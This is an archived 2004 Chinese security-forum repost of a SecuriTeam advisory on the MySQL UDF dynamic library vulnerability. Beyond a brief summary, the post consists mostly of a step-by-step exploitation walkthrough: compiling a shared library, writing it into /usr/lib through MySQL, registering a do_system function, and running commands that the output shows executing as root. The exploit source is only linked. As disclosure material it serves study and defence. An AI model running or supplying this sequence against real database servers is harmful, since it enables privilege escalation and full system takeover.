邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-12-28 22:25

[转载]MySQL UDF Dynamic Library漏洞以及利用代码

信息来源:[url]www.securiteam.com[/url]

Summary
MySQL provides a mechanism by which the default set of functions can be expanded by means of custom written dynamic libraries containing User Defined Functions, or UDFs. If MySQL is installed with root privileges, the UDF mechanism allows an attacker to install and run malicious code as root.

Details
As can be seen from the example usage below, the attack is done by linking the provided code as a dynamic library. If MySQL is installed to run with root privileges, the attacker can then create a UDF which points to his/her malicious code and run it with root privileges.
For more information on MySQL Security visit Hackproofing MySQL

Usage:
$ id
uid=500(raptor) gid=500(raptor) groups=500(raptor)
$ gcc -g -c raptor_udf.c
$ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
$ mysql -u root -p
Enter password:
[...]
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
mysql> create function do_system returns integer soname 'raptor_udf.so';
mysql> select * from mysql.func;

+-----------+-----+---------------+----------+

| name | ret | dl | type |

+-----------+-----+---------------+----------+

| do_system | 2 | raptor_udf.so | function |

+-----------+-----+---------------+----------+


mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

Exploit Code:
[url]http://www.eviloctal.com/forum/read.php?tid=6148[/url]

页: [1]
© 1999-2008 EvilOctal Security Team